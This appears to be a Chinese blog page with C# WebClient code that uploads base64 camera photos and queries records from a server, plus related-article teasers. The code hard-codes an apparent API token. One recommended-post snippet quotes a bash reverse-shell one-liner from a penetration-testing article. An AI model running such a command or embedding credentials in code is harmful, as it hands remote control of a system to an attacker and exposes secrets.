C#使用WebClient调用接口
用于上传图片base64位
private void upLoadCunzai()
{
errorstring += " upLoadCunzai方法执行成功:用于上传已经存在人员摄像头照片到服务器";
LogString += errorstring;
NiuLog.rizhi("程序运行过程信息", errorstring);
//创建WebClient 对象
WebClient web = new WebClient();
//读取拍摄照片存放的路径
byte[] WriteData = File.ReadAllBytes(sfzzpbflist);
//上传base64位图片必须加上Replace("+", "%2B"),否则url信息会出错
String strbaser64 = Convert.ToBase64String(WriteData).Replace("+", "%2B");
//Console.Write("转换后的数据:" + strbaser64);
//需要发送的数据信息,人员编号、设备编号、图片64位
string postString = "token=WY5Av6lYRHzvxyIGYGxT56PVek9eYSoN&personNumber=" + bianhao + "&deviceNumber=AC0018077460&faceImage=" + strbaser64;
//采取POST方式必须加的header,如果改为GET方式的话就去掉这句话即可
web.Headers.Add("Content-Type", "application/x-www-form-urlencoded");
//转化为二进制数据
byte[] postData = Encoding.UTF8.GetBytes(postString);
//上传数据
byte[] responseData = web.UploadData(path, "POST", postData);
//Console.Write("服务器路径:" + path);
//服务器返回的数据
string huifu = Encoding.UTF8.GetString(responseData);
Console.Write("上传已存在人员服务器返回的数据:" + huifu);
}
用于查询信息
private string query()
{
//创建WebClient 对象
WebClient web = new WebClient();
//需要上传的数据
string postString = "token=WY5Av6lYRHzvxyIGYGxT56PVek9eYSoN&startTime=2019-04-01&endTime=2019-06-01&startIndex=0&length=50";
//以form表单的形式上传
web.Headers.Add("Content-Type", "application/x-www-form-urlencoded");
// 转化成二进制数组
byte[] postData = Encoding.ASCII.GetBytes(postString);
// 上传数据
byte[] responseData = web.UploadData(pathQuery, "POST", postData);
//Console.Write("服务器路径:" + pathQuery);
//获取返回的二进制数据.
string huifu = Encoding.UTF8.GetString(responseData);
Console.Write("查询服务器返回的数据:" + huifu+"\r\n");
return huifu;
}
C#使用WebClient调用接口的更多相关文章
- 跨域调用接口——WebClient通过get和post请求api
AJAX不可以实现跨域请求,经过特殊处理才行.一般后台可以通过WebClient实现跨域请求~ //get 请求 string url = string.Format("htt ...
- Java调用Http/Https接口(7,end)--WebClient调用Http/Https接口
WebClient是Spring提供的非阻塞.响应式的Http客户端,提供同步及异步的API,将会代替RestTemplate及AsyncRestTemplate.文中所使用到的软件版本:Java 1 ...
- C#怎样通过url调用接口
在做一些项目过程中,我们常常总避免不了要调用接口,那么怎么通过url调用借口呢.我今天浅显的写一下. 首先要获取你访问链接的App Key 和 App Secret 那么什么是App Key 和 Ap ...
- C#动态webservice调用接口 (JAVA,C#)
C#动态webservice调用接口 using System; using System.Collections; using System.IO; using System.Net; using ...
- 在网页程序或Java程序中调用接口实现短信猫收发短信的解决方案
方案特点: 在网页程序或Java程序中调用接口实现短信猫收发短信的解决方案,简化软件开发流程,减少各应用系统相同模块的重复开发工作,提高系统稳定性和可靠性. 基于HTTP协议的开发接口 使用特点在网页 ...
- WPS Office手机版调用接口代码指导帖之一(Android)
经常会有一些喜欢开发鼓捣的童鞋问我们,WPS Office手机版是否提供调用接口,希望在android中使用一个调用命令,直接调用WPS手机版来打开指定的DOC文件,而不用弹出一个程序可选列表(如果用 ...
- 微信开放平台 公众号第三方平台开发 教程四 代公众号调用接口的SDK和demo
原文:微信开放平台 公众号第三方平台开发 教程四 代公众号调用接口的SDK和demo 教程导航: 微信开放平台 公众号第三方平台开发 教程一 平台介绍 微信开放平台 公众号第三方平台开发 教程二 创建 ...
- json格式数据,将数据库中查询的结果转换为json, 然后调用接口的方式返回json(方式一)
调用接口,无非也就是打开链接 读取流 将结果以流的形式输出 将查询结果以json返回,无非就是将查询到的结果转换成jsonObject ================================ ...
- URLConnection调用接口
写在前面: 项目是java web,jdk1.4,weblogic 7;对方.net系统,用wcf开发的接口.对方提供接口url地址,以及说明用post方式去调用,无需传递参数,直接返回json ar ...
随机推荐
- iOS组件化开发一pod库包含MRC的文件处理(五)
在做项目的过程中,建立了一个私有pod库,在这个库中存在mrc类文件这个时候如果在使用了arc的工程中引用这个pod的工程中手动设置当然也可以就是费时费力.现在我们来看看如何在私有库配置文件里配置自动 ...
- Python题整理
1.Python的多态.鸭子类型? 2.Python的序列化工具有哪些? 3.Python处理Excel的工具有哪些? 4.Python处理Graph的算法库有哪些? 5.Python的dict是基于 ...
- Linux命令学习-history命令
Linux中,history命令的作用是显示历史记录和执行过的命令. 查看历史所有命令执行记录 history 查看最近的13条历史执行命令 history 13 执行历史记录中,序号为123的命令 ...
- 剑指offer第二版-4.二维数组中的查找
面试题4:二维数组中的查找 题目要求: 一个二维数组中,每一行从左到右递增,每一列从上到下递增.输入一个整数,判断数组中是否含有该整数 /** * @since 2019年2月13日 下午5:08:5 ...
- android_layout_relativelayout(一)
android的相对布局relativelayout也是一个值得研究的部分.先归纳下最近的几个心得. 相对布局中,xml文件第一个控件总是在屏幕的左上角为它的位置,别管你手机是竖着的还是横着的. 从第 ...
- 微信小程序开发--API界面交互
一.wx:showActionSheet(上拉菜单) 属性 类型 默认值 必填 说明 itemList Array.<string> 是 按钮的文字数组,数组长度最大为 6 itemC ...
- linux几种方式来弹哥shell
渗透测试linux主机的时候,能够去 弹个shell进行交互是非常重要的 bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 bash -i :打 ...
- C#6.0 新增功能
连载目录 [已更新最新开发文章,点击查看详细] C# 6.0 版本包含许多可提高开发人员工作效率的功能. 这些功能的总体效果是让你编写的代码更简洁.更具可读性. 该语法不像许多常见做法那样繁琐. ...
- Linux AUFS 文件系统
AUFS 的英文全称为 Advanced Mult-Layered Unification Filesystem,曾经是 Another Mult-Layered Unification Filesy ...
- Face++实习体验
旷视Face++ 实习体验 已经在Face++呆了快20天了,自从实习,github和blog也碰的少了,我工作是做聚类(也是头一次接触机器学习,以前想都没敢想的),毕竟工作内容很多都是不熟悉的,需要 ...